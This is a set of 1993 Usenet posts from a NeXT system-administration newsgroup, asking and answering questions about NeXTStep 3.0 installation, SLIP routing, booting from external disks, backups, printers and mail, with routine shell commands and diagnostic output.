Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: joe@mathcs.emory.edu (Joe Christy)
Newsgroups: comp.sys.next.sysadmin
Subject: Thick vs. Thin 3.0
Date: 8 Jan 1993 17:01:14 -0500
Organization: Mathematical Sciences Research Institute
Distribution: world
Message-ID: <1iktjaINN2is@emory.mathcs.emory.edu>
Summary: What's the difference
Does anyone have a diff of the files in NeXTStep 3.0 as installed on a
400Meg disk as compared to what gets installed on a 100Meg disk?
Joe Christy | Head of Mathematical Computing | Two wrongs
joe@msri.org | Mathematical Sciences Research Institute | don't make a right,
(510)643-6069 | 1000 Centennial Drive | but three lefts do
**************| Berkeley, CA 94720 |********************
From: gary@msu.edu (Gary J LaPointe)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXTMail and .signature file
Date: 9 Jan 1993 05:00:44 GMT
Organization: Michigan State University
Message-ID: <1ilm5sINNf13@msuinfo.cl.msu.edu>
>Under 3.0 NeXTMail is not using the .signature file to append my name to
>messages. News does this and I thought 2.0 mail did.
Does it in 2.0, I've never figured out how to get NeXTmail (Mail.app) to do a
sig-type file? If it does please let me know.
--
Gary J LaPointe
gary@ah3.cal.msu.edu
Michigan State University
Center For Integrative Studies, Arts & Humanities
From: gary@msu.edu (Gary J LaPointe)
Newsgroups: comp.sys.next.sysadmin
Subject: VT100 codes(?) send funny characters on the modem?
Date: 9 Jan 1993 05:13:09 GMT
Organization: Michigan State University
Message-ID: <1ilmt5INNf13@msuinfo.cl.msu.edu>
When I dial in to the NeXT, with kermit (PC or Mac) occasionally some scrren
control codes don't work properly. Generally it is around the time that
the screen should be cleared, but sometimes the screen does clear (it always
works in the same place and always goofs up in the same places).
Generally I get it when I log on, before the first prompt appears, but I get
it when I quit a few programs and lots of times in the Goper client (1.1 I
think?) Sometimes it goofs up with words in the man pages, I think thos words
are inverse or underlined.
The most common code is ?[;H?[2J and it generally starts with ?[; but not
always.
It NEVER errors when I am running terminal from the console, and I don't think it errors when I use NCSA telnet on the Mac (TCP mode).
Any suggestions?? It doesn't bother me much, but the others using the modem
don't like it very much and worry about the strange chracters, especally when
screenfuls of information overwrite themselves.
--
Gary J LaPointe
gary@ah3.cal.msu.edu
Michigan State University
Center For Integrative Studies, Arts & Humanities
Newsgroups: comp.sys.next.sysadmin
From: jmack@space.ualberta.ca (Jim MacKinnon)
Subject: Solution to -NXHost re-directs with SLIP
Message-ID: <1993Jan9.080053.25350@kakwa.ucs.ualberta.ca>
Keywords: SLIP
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Sat, 9 Jan 1993 08:00:53 GMT
(for DialupIP version 920904)
DialupIP will support '-NXHost' transactions across
the slip interface. To set this up on my remote
client, I started up the slip.rc early in the rc
boot, and prevented en0 from being enabled in
hostconfig. Thus slip0 will be the only interface
up on the client. You will get a couple of warnings
from nmserver (it will use a broadcast of 255.255.255.255)
but it's not fatal, and from then on, -NXHost re-directs
will work in either direction (although slowwwerr :-) ).
Also be sure that 'fake' arp entries exist on the server
for the remote client(s) as permanent and published. This
can be accomplished by adding an appropriate arp command
at the end of slip.rc (This makes the server a gateway to
your client from the rest of the internet - assuming also
that the client's name and IP is fully registered in your
domain - and will allow connectivity internet-wide).
Cheers,
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Center for Subatomic Research Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
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From: eoliver@ralph.cs.haverford.edu (Erik Oliver)
Subject: Re: rc.local
Message-ID: <4CMWBJFH@cc.swarthmore.edu>
Sender: news@cc.swarthmore.edu (USENET News System)
Organization: Haverford College Computer Science Department
References: <1993Jan8.150428.29811@neptune.inf.ethz.ch>
Date: Sat, 9 Jan 1993 16:22:04 GMT
In article <1993Jan8.150428.29811@neptune.inf.ethz.ch> rpajarol@iiic.ethz.ch (Renato Bruno Pajarola) writes:
>Hi people,
>since I have the new NextStep3.0, over all it's very good, I can't do
>some things I did bevore.
>
>Especially things I want to do at boot-up time.
>
>In NS2.1 I had entries in the rc.local to play a sound and to power the
>printer off. The entries looked something like this:
>
>sndplay /LocalLibrary/Sounds/mysound.snd &
>
>...
>
>nppower off
>
>...
>
>
As a rule of thumb, you should include full paths in 'rc' and 'cron'
run scripts because frequently environment variables that might normally
assist unix in finding executables are not avaialable.
Peraps under 2.0 either the PATH environement was set somehow by the
time rc.local ran or these executables were stored somewhere different,
I can't say.
But, I would suggest trying to type the whole path out:
eg: /usr/bin/runthisapp
Etc. Also, there may be some issues involving when disk mounting occurs
preventing the sounds from playing. (I can't really say.)
-Erik
From: ambi@it-next2.bu.edu (Michael Amirault)
Newsgroups: comp.sys.next.sysadmin
Subject: URGENT HELP: restore with od's not working!!
Message-ID: <106628@bu.edu>
Date: 9 Jan 93 18:02:58 GMT
Sender: news@bu.edu
Here's the problem:
I performed a level 0 dump using the following command:
% dump 0o /dev/sd2a
This dumped the contents of the drive to two NeXT optical disks.
However when doing a restore via:
% restore rjvf /dev/od1a
It will read and restore the first disk fine but then won't eject
the first disk when it needs the second. It keeps reporting that the
disk in the wrong one. HELP!! How do I get my data off of the second
disk?? I've tried all sort of permutations of the restore command and
all of them fail when the program says it's ejecting the first disk
and waiting for the second but never actually ejected the first disk.
This problem is with a NeXTCube '040 running NeXTStep 3.0.
Any help would be greatly appreciated!
Mike
Newsgroups: comp.sys.next.sysadmin
From: bob@MorningStar.Com (Bob Sutterfield)
Subject: Re: PPP and/or SLIP drivers for a NeXTstation Turbo (sys2.2)
In-Reply-To: kluge@avalon.physik.unizh.ch's message of Thu, 7 Jan 1993 23: 43:36 GMT
Message-ID: <BOB.93Jan9154418@roughy.MorningStar.Com>
Sender: news@MorningStar.Com
Organization: Morning Star Technologies
References: <1993Jan5.160333.493@bvl.pt> <1993Jan7.234336.4131@ifi.unizh.ch>
Date: Sat, 9 Jan 1993 20:44:26 GMT
In article <1993Jan7.234336.4131@ifi.unizh.ch> kluge@avalon.physik.unizh.ch (kluge daniel) writes:
Besides, there is an interesting paper, covering SLIP and PPP
available at most ftp-sites (sonata, ftp.acns.nwu.edu)...
You might also enjoy ftp.uu.net:vendor/MorningStar/papers/sug91-cheapIP*.
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From: hpcg9070@uxa.cso.uiuc.edu (H Prasad Cherukuri)
Subject: help with rebooting
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Summary: trouble rebooting
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Date: Sat, 9 Jan 1993 22:03:02 GMT
Keywords: IO error, pageout, file system
I am having trouble rebooting one of our NeXT machines.
The machines use NeXTStep 3.0.
I tried to reboot it in all the possible ways(as mentioned in
the book NeXTSTEP NETWORK and SYS. ADM.on page: 235-237) except
the emergency shutdowns. Everytime I try to reboot, the machine
after running fsck and obtaining the hostname from the master
server, chokes by saying,
/: file system full
IO error on pageout: error = 28
vnode_pageout : failed!
Anyone have any idea what the error no. 28 is? I tried to look
it up in the above mentioned manual. But I couldn't find it. I
think that fsck runs fine since one of the rebooting messages says
file system clean.
What is pageout, anyway?
(I don't know if this matters, but all the other client machines
are running just fine).I assume therefore that the master server
is running fine too.
I appreciate it very much if someone could help me with this.
thanks very much
sincerely
Harish Cherukuri
harish@uxa.cso.uiuc.edu
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From: ntomczak@vega.math.ualberta.ca (N Tomczak-Jaegermann)
Subject: Re: Help! Installing 3.0 on external HD
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Date: Sat, 9 Jan 1993 22:48:42 GMT
I had a misfortune to train thourougly booting from other devices than
a default sd0 :-).
The following procedure works consistently for me (assuming here that
sd2a, say, contains all files necessary for booting in a multi-user
mode). Some steps are obviously for situations when you cannot boot
from sd0a and changing ID's is not an option for some reasons.
a) Boot from floppy (you have boot floppy, don't you?) in a single
user mode and modify /etc/fstab on your intended boot device
to mount the proper file system and not sd0a. In our sample
resulting line will be:
/dev/sd2a / 4.3 rw,noquota,noauto 0 1
instead of an original
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
To get an access to this file you will have to mount
( say '/usr/etc/mount /dev/sd0a /tmp/hd') manually.
Use -n option and writable directory if you are booting
from CD-ROM or from floopy which starts CD-ROM.
BTW - can somebody tell me how to use 'remount' option.
Is not documented on 'man-page' and always barfs on me.
b) Go back to monitor and 'halt'.
c) At 'NeXT>' prompt type 'bsd(2,0,0)-a'. This means 'ask
for root device'. An option 'rootdev=sd2' never worked for me.
d) When asked for root device type 'sd2' and hopefuly you are
back in business.
e) Restore /etc/fstab to a pristine state. You will likely
forget that later and in that case you may start the whole
procedure once again from scratch. :-)
Lets hope that you will never have to use that knowledge.
Michal Jaegermann
ntomczak@vega.math.ualberta.ca
From: brad@optilink.COM (Brad Yearwood)
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Subject: Lost NeXT printer in 3.0 upgrade - how to get it back?
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Date: 10 Jan 93 01:59:20 GMT
Organization: Optilink Corporation, Petaluma, CA
[I am writing this on behalf of someone with a machine up in the outer
redwood boondocks.]
After upgrading from 2.x (exact release unknown - somebody else's machine, and
he ran the upgrade without noting the old release) to 3.0, the NeXT laser
printer no longer functions.
Powering the printer down and up with /usr/etc/nppower works, so there
doesn't appear to be a physical problem.
PrintManager stubbornly refuses to allow a NeXT printer to be added - the
printer names list has an entry for "NeXT 400 dpi Level II Printer", but
it is grayed out, and none of other little menu items let me select the
Printer port.
I did "nidump printcap .", and found two entries: one for "Local Printer",
and one for "Local_Printer".
I couldn't get rid of "Local Printer" with niload, so I got into NetInfoManager
and deleted both printer entries, in hopes that PrintManager would let me
start fresh, or would automatically build an entry for the NeXT printer.
No such luck.
I built a printcap entry by hand from the residue of the original nidump,
and niload'ed it. It doesn't work, and an attempt to do Modify in PrintManager
complains that it can't understand the printer description.
Has anyone else seen loss of the NeXT printer after 3.0 upgrade?
If you have a known good printcap entry which I can niload, or a set of
specific items to verify through NetInfoManager, and a list of any other
files which need to be in place (any copies or links under /usr/lib/NextPrinter
or wherever) to make the NeXT printer work under 3.0, or any other applicable
rituals, I would very much appreciate hearing.
Shame on NeXT for not providing any comprehensive documentation explaining
the increasingly intricate printer world in 3.0. If something breaks, it
seems impossible to diagnose and impossible to fix.
Brad Yearwood brad@optilink.com {uunet, pyramid}!optilink!brad
Petaluma, CA
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From: kgnome@cs.concordia.ca (MATIS stephane)
Subject: Re: Help! Installing 3.0 on external HD
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Date: Sun, 10 Jan 1993 03:40:40 GMT
Hello Folks!
I have a related question. I have just installed 3.0 on my
external Fujitsu 2624F and decided to make the internal Quantum into a
swapdrive. But, I wanted a 50/50 disk.
So, I go off to format and build the Quantum and the "partition"
button is hazed. Why ? Ok, I ignore it, and build the disk with
"swapdisk" as name.
No problemo ?... ok it worked but then during boot-up I get
lot's of complaints from the machine (cannot swap to
/private/vm/swafile.front) and it seem to swap to external.
Finally, with all this... I cannot get the "recycler" to work.
My questions are :
1. How can I get my internal quantum to partition 50/50, so that
I can build half for emergency boot and the other for
swapping.
2. Why am I having "recycler" problems.
Thanks folks...
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From: grw@oahu.cs.ucla.edu (George Wu)
Subject: Using tar with a SCSI DAT drive
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I recently installed an Archive Python SCSI DAT drive on my system
(NeXTStation Mono running NS 2.1) for backup purposes. However, I
have been unable to use tar on the drive. I always get an 'I/O error'
when I run tar and the associated SCSI error is as follows.
st: cmd = 0x15 sr_io_status = 2H
Sense key = 0x5 Sense Code = 0x1a
According to scsireg.h the SCSI command causing the problem is MODE
SELECT and the sense key (0x5) indicates invalid request. Does anyone
know the solution to this problem ? Any help is appreciated.
George Wu
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From: cowboy@trans.csuohio.edu (Joe Rosenfeld)
Subject: Re: Using tar with a SCSI DAT drive
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George Wu (grw@oahu.cs.ucla.edu) wrote:
: I recently installed an Archive Python SCSI DAT drive on my system
: (NeXTStation Mono running NS 2.1) for backup purposes. However, I
: have been unable to use tar on the drive. I always get an 'I/O error'
: when I run tar and the associated SCSI error is as follows.
: st: cmd = 0x15 sr_io_status = 2H
: Sense key = 0x5 Sense Code = 0x1a
: According to scsireg.h the SCSI command causing the problem is MODE
: SELECT and the sense key (0x5) indicates invalid request. Does anyone
: know the solution to this problem ? Any help is appreciated.
: George Wu
Well, it would have helped if you indicated your command line for tarring.
I have the same drive, and I can tar, no problems at all, with this comman
line syntax (from root /):
tar -xvf /dev/rst0 *
I usually use gnutar with this syntax:
gnutar -xvpf /dev/rst0 *
Give it a try. My current DAT scsi id is "6"
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From: tilley@ccu.umanitoba.ca (Richard Tilley)
Subject: Re: Solution to -NXHost re-directs with SLIP
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Keywords: SLIP
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Date: Sun, 10 Jan 1993 13:27:23 GMT
In <1993Jan9.080053.25350@kakwa.ucs.ualberta.ca> jmack@space.ualberta.ca (Jim MacKinnon) writes:
>(for DialupIP version 920904)
>DialupIP will support '-NXHost' transactions across
>the slip interface. To set this up on my remote
>client, I started up the slip.rc early in the rc
>boot, and prevented en0 from being enabled in
>hostconfig. Thus slip0 will be the only interface
Doesn't this make the local ethernet port kinda useless?
... Richard
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From: heller@heller.slip.uiuc.edu (Helmut Heller)
Subject: Re: Solution to -NXHost re-directs with SLIP
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In article <C0n41o.16s@ccu.umanitoba.ca> tilley@ccu.umanitoba.ca (Richard
Tilley) writes:
> In <1993Jan9.080053.25350@kakwa.ucs.ualberta.ca> jmack@space.ualberta.ca
(Jim MacKinnon) writes:
>
> >(for DialupIP version 920904)
>
> >DialupIP will support '-NXHost' transactions across
> >the slip interface. To set this up on my remote
> >client, I started up the slip.rc early in the rc
> >boot, and prevented en0 from being enabled in
> >hostconfig. Thus slip0 will be the only interface
>
> Doesn't this make the local ethernet port kinda useless?
>
> .... Richard
Yes, it does!
I found that I can't have both: a local en0 ethernet interface AND -NXHost
over SLIP. Only either or. Someone once told me that is because Mach routes
the -NXHost packets always to the ethernet interface. I don't understand what
is going on, just my experience says:
EITHER en0 OR -NXHost over SLIP, but not both.
I would really like to hear if s.o. actually succeeded to do both at the same
time: use -NXHost over SLIP and also use, say telnet, over the ethernet (en0)
interface of the same machine.
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From: dmitri@physics (Dmitri Linde)
Subject: Re: Solution to -NXHost re-directs with SLIP
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>I would really like to hear if s.o. actually succeeded to do both at the same
>time: use -NXHost over SLIP and also use, say telnet, over the ethernet (en0)
>interface of the same machine.
Actually it is possible and very easy. Here is my setup:
linde (home machine) 36.92.0.118 running Marble SLIP as client
physics (machine at Stanford U.) 36.92.0.18 running Marble SLIP as server with du0 (slip0) ip address=147.135.1.184
elrond (another machine at home which is connected to linde using ethernet) 36.92.0.19
Here are routing tables for linde:
linde> netstat -rn
Routing tables
Destination Gateway Flags Refs Use Interface
147.135.1.184 36.92.0.118 UH 3 8913 du0
127.0.0.1 127.0.0.1 UH 2 2652 lo0
36.92.0.18 147.135.1.184 UGH 2 515 du0
36.92.0.19 36.92.0.19 UGH 0 138 en0
36.92.0.118 127.0.0.1 UH 9 11745 lo0
default 147.135.1.184 UG 0 1400 du0
linde>
Notice: 36.92.0.19 36.92.0.19 means that when linde wants to connect to elrond it will not use the default route to physics (147.135.1.184) but instead it will use 36.92.0.19 thu en0 (ethernet).
On both linde and physics I have the file /etc/resolv.conf contain the following
domain stanford.edu
nameserver 36.56.0.151
nameserver 36.21.0.20
nameserver 36.8.0.47
It specifies my domain and the nameservers to use. Make sure you have something like this otherwise you will not be able to connect to hosts by name rather than ip address. (you must get your own nameservers)
Now, on physics I have to use arp command. Here is the command I use in rc.local
sleep 15;arp -s linde 0:0:0f:00:9b:00 pub&
This will advertize linde to the local net.
The result is that from linde I can telnet (or connect in any other way) to/from any other Internet connected machine in the world. From linde I can also connect to elrond by simply
telnet elrond
(elrond and linde and physics are defined in NetInfo database so it does not have to find out the address of elrond. If it did try to find out the address of elrond it would not get 36.92.0.19 from the nameserver, and it would probably get 'host unknown')
And it works!
Also the -NXHost from physics to linde works perfectly:
physics> Date -NXHost linde
This makes the Date application pop up on linde and lets me use it. (It is however slow...)
Regards,
Dmitri Linde
dmitri@physics.stanford.edu
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From: bmwu@athena.mit.edu (Benson M. Wu)
Subject: Help Repair OD!!!
Message-ID: <1993Jan10.192145.3752@athena.mit.edu>
Keywords: unrecognizable optical disk
I am running a 68040 Cube with NeXTStep 2.1.
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When I inserted the optical disk in, a panel would
come up telling me that the disk needs repair and asked
me whether I would like to repair, initialize, or ignore it.
When I click on repair, the OD drive will spin up and down
several times and then tell me that it can't repair.
So I start reading the manuals. I used fsck
interactively and with the -y option several times
with this optical disk. the following is a transcript
produced by the various fsck commands. It is consistently
reproducible.
cube# fsck -y /dev/rod0a
** /dev/rod0a
** Last Mounted on /benson2
** Phase 1 - Check Blocks and Sizes
CANNOT READ: BLK 205200
CONTINUE? yes
THE FOLLOWING SECTORS COULD NOT BE READ: 205204,
CANNOT READ: BLK 218168
CONTINUE? yes
THE FOLLOWING SECTORS COULD NOT BE READ: 218172,
CANNOT READ: BLK 218264
CONTINUE? yes
THE FOLLOWING SECTORS COULD NOT BE READ: 218268,
** Phase 2 - Check Pathnames
CANNOT READ: BLK 187952
CONTINUE? yes
THE FOLLOWING SECTORS COULD NOT BE READ: 187956,
** Phase 3 - Check Connectivity
** Phase 4 - Check Reference Counts
** Phase 5 - Check Cyl groups
BLK(S) MISSING IN BIT MAPS
SALVAGE? yes
CANNOT WRITE: BLK 205432
CONTINUE? yes
THE FOLLOWING SECTORS COULD NOT BE WRITTEN: 205432, 205433,
2128 files, 200055 used, 33011 free (1299 frags, 3964 blocks, 0.6% fragmentation
)
File system not may not be clean! Run fsck again to clean.
From the above transcript, I know that some sectors are just
not recoverable since they can't be read or written.
However, even after I ran fsck, the system still won't recognize
this optical disk.
I would appreciate any advice at this point. Is there
any unix utilities out there that will recover files for you
like the Norton Utilities for the Mac or PC? This is one program
I would be willing to shell out top $$$ for.
Best regards,
Benson Wu
bmwu@athena.mit.edu
(No NeXTMail please)
From: olson@anchor.esd.sgi.com (Dave Olson)
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Subject: Re: Using tar with a SCSI DAT drive
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Date: 10 Jan 93 19:47:53 GMT
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In <1993Jan10.090824.24470@cs.ucla.edu> grw@oahu.cs.ucla.edu (George Wu) writes:
| I recently installed an Archive Python SCSI DAT drive on my system
| (NeXTStation Mono running NS 2.1) for backup purposes. However, I
| have been unable to use tar on the drive. I always get an 'I/O error'
| when I run tar and the associated SCSI error is as follows.
|
| st: cmd = 0x15 sr_io_status = 2H
| Sense key = 0x5 Sense Code = 0x1a
|
| According to scsireg.h the SCSI command causing the problem is MODE
| SELECT and the sense key (0x5) indicates invalid request. Does anyone
| know the solution to this problem ? Any help is appreciated.
sense code 1a indicates parameter overrun, which presumably
means that one of the bytes in the command is out of range.
Perhaps you (or the driver) is trying for a blocksize that the
drive doesn't support?
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From: zeke@znext (james dehnert)
Subject: Re: Help! Installing 3.0 on external HD
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In article <ntomczak.726619722@vega> ntomczak@vega.math.ualberta.ca (N
Tomczak-Jaegermann) writes:
- I had a misfortune to train thourougly booting from other devices than
- a default sd0 :-).
.
.
.
- b) Go back to monitor and 'halt'.
- c) At 'NeXT>' prompt type 'bsd(2,0,0)-a'. This means 'ask
- for root device'. An option 'rootdev=sd2' never worked for me.
This looked a bit wrong to me, so i checked it out in the reboot man page.
The syntax of the b boot command is:
device[(ctrl,unit,part)][file][flags]
where device is the type of the device to be searched, ctrl
is the controller number, unit is the unit number of the
disk or tape, and part is the disk partition number.
so the syntax should be
'b sd(0,2,0)' to boot off of sd2 partition a. The NeXT only has one
controller ( unless you have an extra cpu card a la Spherical ) an that one
defaults to 0. The syntax provided would probably confuse the system, and the
-a flag is what saves you. It looks for controler 2, cant find it, and then
defaults to 0 because thats the only one. It's still not sure what you want,
but you did use that -a flag, so it asks, then your on your way.
I bet that 'b sd -a' would work just as well in this situation.
Zeke
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From: ambi@it-next2.bu.edu (Mike Amirault)
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Subject: Re: URGENT HELP: restore with od's not working!!
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Date: 11 Jan 93 00:24:11 GMT
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In article <106628@bu.edu> ambi@it-next2.bu.edu (Michael Amirault) writes:
>
> Here's the problem:
>
> I performed a level 0 dump using the following command:
>
> % dump 0o /dev/sd2a
>
> This dumped the contents of the drive to two NeXT optical disks.
> However when doing a restore via:
>
> % restore rjvf /dev/od1a
>
I figured out the problem. Doind a restore with the command:
% restore rjvf /dev/rod1a
will work and eject the disk, whereas the command:
% restore rjvf /dev/od1a
will not eject the disk...
mike
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Subject: Re: Help! Installing 3.0 on external HD
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Date: 11 Jan 93 01:30:16 GMT
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In article <1993Jan10.170814.9221@znext.cts.com> zeke@znext.cts.com writes:
> so the syntax should be
> 'b sd(0,2,0)' to boot off of sd2 partition a. The NeXT only has one
>controller ( unless you have an extra cpu card a la Spherical ) an that one
>defaults to 0. The syntax provided would probably confuse the system, and the
Um, no. The first number is the SCSI ID, the second is the LUN (which lots
of people theorize will always be 0 on the NeXTs because they only have one
SCSI channel; makes sense to me but I can't confirm or deny it personally),
and the last is the partition number.
It loads the boot block off the device you ask for (it *may* check all
devices if the first one fails, but my experience with that suggests it
doesn't), and then it boots the kernel off of whatever device has it,
starting with the one you specify (e.g. a bsd(2,0,0) will check SCSI ID 2 for
a kernel, and if it can't find that, it'll check the rest of your devices).
-a will indeed ask you for the rootdevice, but you can always
bsd(2,0,0)- rootdev=sd1
Note the dash and the space. You can replace the dash with 'sdmach' as well,
which is what the ROM monitor does for you, assuming a SCSI disk.
Be forewarned that if your root device is NOT /dev/sd0a, /etc/fstab is
incorrect and when you try to do a mount -o remount,rw / in /etc/rc.boot, it
ain't gonna work very well.
> Zeke
I've booted off of non-sd0 devices before, and I know the syntax is
bsd(x,0,0) where x is the SCSI ID. The other stuff I'm extrapolating from
the "nbuf" hack as I always used -a when I had to specify an alternate root
partition.
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Subject: HELP: Install NS 3.0
Date: 11 Jan 1993 07:26:17 GMT
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Howdy,
The hard disk in my slab crashed! I lost everything on that drive and
cannot boot up with this drive. Fortunately, all the my projects are on
a different drive.
Right now, I have a NS 3.0 CDROM, CDROM drive, the floppy disk that came
with 3.0 release. Is there anyway that would allow me to rebuild my internal
hard disk and load it with NS 3.0?
Please send your reply to tvt@byteme.EBay.Sun.COM
Thank you,
-tien-
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Newsgroups: comp.sys.next.sysadmin,compcomp.sys.next.software,comp.sys.next.programmer
From: outland!jmast@s.ms.uky.edu (John A. Mastrolia)
Subject: Re: USR V.32bis FAX Help
Message-ID: <C0oC3u.6IM@outland.uucp>
Sender: jmast@outland.uucp (John A. Mastrolia)
Organization: Kentucky NeXT Users Group (KYNUG)
References: <C0D8vy.4LB@outland.uucp>
Date: Mon, 11 Jan 1993 05:19:06 GMT
In article <C0D8vy.4LB@outland.uucp> outland!jmast@s.ms.uky.edu (John A.
Mastrolia) writes:
> I have recently upgraded my US Robotics V.32bis modem in anticipation of
> the new 28,800 standard expected from CCITT soon. This included a FAX
> capability in addition to the upgrade socket. Now, the big question,
has
> anyone had any experience using the FAX capability of this modem with
> their NeXT? I'm using a NeXTStation Turbo with 3.0. Any help would be
> appreciated.
I posted this on 5 January and received only messages asking for me to
pass on information. Again, if anyone has had any experience using this
modem as their FAX, please let me know.
Thanks in advance.
--
John A. Mastrolia
outland!johnm@ms.uky.edu
From: paul@seer.demon.co.uk (Paul Lynch)
Newsgroups: comp.sys.next.sysadmin,demon.ip.support.unix
Subject: INN Installation
Message-ID: <1993Jan10.205013.2288@seer.demon.co.uk>
Date: 10 Jan 93 20:50:13 GMT
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
(Posted on behalf of Robert Nicholson, who now has a working NeXT, but no
news feed. Yet).
I am currently trying to get INN up and running on a NeXT under NS3.0. I
have the following questions:
1. Am I supposed to install the new syslogd (it currently will not
compile)
2. With signal() defined as returning a "void" innd doesn't run.
However, when I define it as returning "int" innd works but every signal()
results in a warning.
3> If I just want a basic news and mail feed via SLIP to my host how do I
go about setting up the configuration files. Is my type of feed a
"filename" feed?
4. Do I use LOG_LOCAL7 or LOG_NEWS for syslog.conf's entry?
5. Is rnews -U the only way spooled news items can be sent?
That's it... Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 paull@cix.compulink.co.uk
Fax: (0494)680228 76711.451@compuserve.com
Newsgroups: comp.sys.next.sysadmin
Subject: Re: rc.local
Message-ID: <1993Jan11.103345.14405@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Mon, 11 Jan 1993 10:33:45 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <1993Jan8.150428.29811@neptune.inf.ethz.ch>
Distribution: Distribution:
Organization: Institut fuer Informatik
In article <1993Jan8.150428.29811@neptune.inf.ethz.ch> writes:
> Subject:
> Summary:
> Expires:
> Sender: rpajarol@iiic.ethz.ch
> Followup-To:
> Distribution: Distribution:
> Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH),
Zurich, CH
> Keywords: nppower
>
>
> Hi people,
> since I have the new NextStep3.0, over all it's very good, I can't do
> some things I did bevore.
>
> Especially things I want to do at boot-up time.
>
> In NS2.1 I had entries in the rc.local to play a sound and to power the
> printer off. The entries looked something like this:
>
> sndplay /LocalLibrary/Sounds/mysound.snd &
>
> ....
>
> nppower off
>
> ....
>
>
I always had to put a sleep <some seconds> before the nppower off command in
rc.local. On the 'old' station and 2.1, 3 seconds were fine, now I need 5
seconds or the printer won't turn off.
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
Newsgroups: comp.sys.next.sysadmin
From: rpajarol@iiic.ethz.ch (Renato Bruno Pajarola)
Subject: Re: rc.local
Message-ID: <1993Jan11.120452.28087@neptune.inf.ethz.ch>
Sender: rpajarol@iiic.ethz.ch
Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH
References: <1993Jan8.150428.29811@neptune.inf.ethz.ch> <1993Jan11.103345.14405@urz.unibas.ch>
Distribution: Distribution:
Date: Mon, 11 Jan 1993 12:04:52 GMT
I posted the question about sndplay and nppower off in the rc.local
script.
I tried out the tips and the solution is in both cases:
put a sleep command and then the other.
(sleep 10; /usr/bin/sndplay ...) &
(sleep 10; /usr/etc/nppower off) &
I guess you have to wait until the loginwindow process is
correctly started and then al the "services" have their correct
behaviour.
sndplay and nppower start now after the loginwindow appears.
The printer is now "Private" after logging in, and that's
what I wanted.
Thanks for the tips,
-------------------------------------------------------------
Name: Renato Pajarola
Country: Switzerland
Profession: Student in Computer Science ETH Zuerich
E-Mail: rpajarol@iiic.ethz.ch
There's a hell of a good universe NeXT door; let's go ...
Newsgroups: comp.sys.next.sysadmin
From: kinch@valve.heart.rri.uwo.ca (Dave Kinchlea)
Subject: Re: What does NeXTMail do during `undelete' command?
Organization: Heart Valve Group, John P. Robarts Research Institiute, London, Ont. Canada
Distribution: uwo
Date: Mon, 11 Jan 1993 15:01:56 GMT
Message-ID: <1993Jan11.150156.23746@julian.uwo.ca>
References: <1993Jan8.180037.23392@julian.uwo.ca>
Sender: news@julian.uwo.ca (USENET News System)
[Following up on my own article :
In article <1993Jan8.180037.23392@julian.uwo.ca>, kinch@valve.heart.rri.uwo.ca (Dave Kinchlea) writes:
]
A number of people have mailed to tell me that NextMail simply updates
the table_of_contents file. This I already knew but I need more details.
Can someone in the know tell me about the layout of this file
and/or EXACTLY what is done during the undelete command (ie: is it
really updated or is a new file created? is it a holey fil? what is
the structure of the file? is file locking used and if so what kind? etc).
I would really like to determine what is happening to my Iris (it
crashes because of an `Undelete' request from an NFS mounted NeXT)
and the first order of business is to figure out what exactly is
*supposed* to happen (and then try to figure out what IS happening).
Thanks to those who have already sent me mail (too numerous to
mention), although there was no new information given to me I
appreciate the effort.
cheerskinch
Dave Kinchlea
email: kinch@valve.heart.rri.uwo.ca
Snail-mail: System Administrator/Research Programmer
John P. Robarts Research Institute.
P.O. Box 5015,
100 Perth Drive,
London, Ont, Canada
N6A 5K8
A Real Live Voice: (519)-663-5777-x4406
".... 2 to the power 759 million to 1 and falling ..." HHGTG
From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: PPP and/or SLIP drivers for a NeXTstation Turbo (sys2.2)
Date: 11 Jan 1993 15:26:07 GMT
Organization: The University of Maryland, College Park
Message-ID: <1is3ifINNj0d@ni.umd.edu>
References: <1993Jan5.160333.493@bvl.pt>
In article <1993Jan5.160333.493@bvl.pt> jessica.bvl.pt!root (Operator) writes:
>I'm looking for PPP or SLIP software that can be installed an our NeXT.
If you can run SLIP, take a look at the port that I did, available as
/pub/next/submisions/SLIP_920904.tar on sonata.cc.purdue.edu or
somewhere on cs.orst.edu with the same name (SLIP_920904.tar).
Louis Mamakos
Newsgroups: comp.sys.next.sysadmin
From: dcheslow@impact.flint.umich.edu (David A. Cheslow)
Subject: no email confirmation
Message-ID: <PJg=wy+@engin.umich.edu>
Date: Mon, 11 Jan 93 11:33:55 EST
Organization: The University of Michigan, Ann Arbor
Having two (possibly related) problems with NeXTMail.
1) No receipt is ever received (I request a read receipt, the addressee
reads the message, but I never get a receipt).
2) The nodename on messages is being truncated
(userid@crob.flint.umich.edu becomes userid@crob). This is OK as long as
our local nameserver is running, but when it is down (or overworked),
messages are sent on to its nameserver for processing and the message
bounces with Host Unknown. Also - it seems to only be doing it to messages
destined for the same domain (userid@infotech.tamu.edu works OK).
thanks in advance
--
=================================================================
*NOT* an official document of the University of Michigan - Flint
=================================================================
David A. Cheslow
E-Mail : dcheslow@impact.flint.umich.edu
Newsgroups: comp.sys.next.sysadmin
Subject: HELP popper
Message-ID: <1993Jan11.160206.3483@urz.unibas.ch>
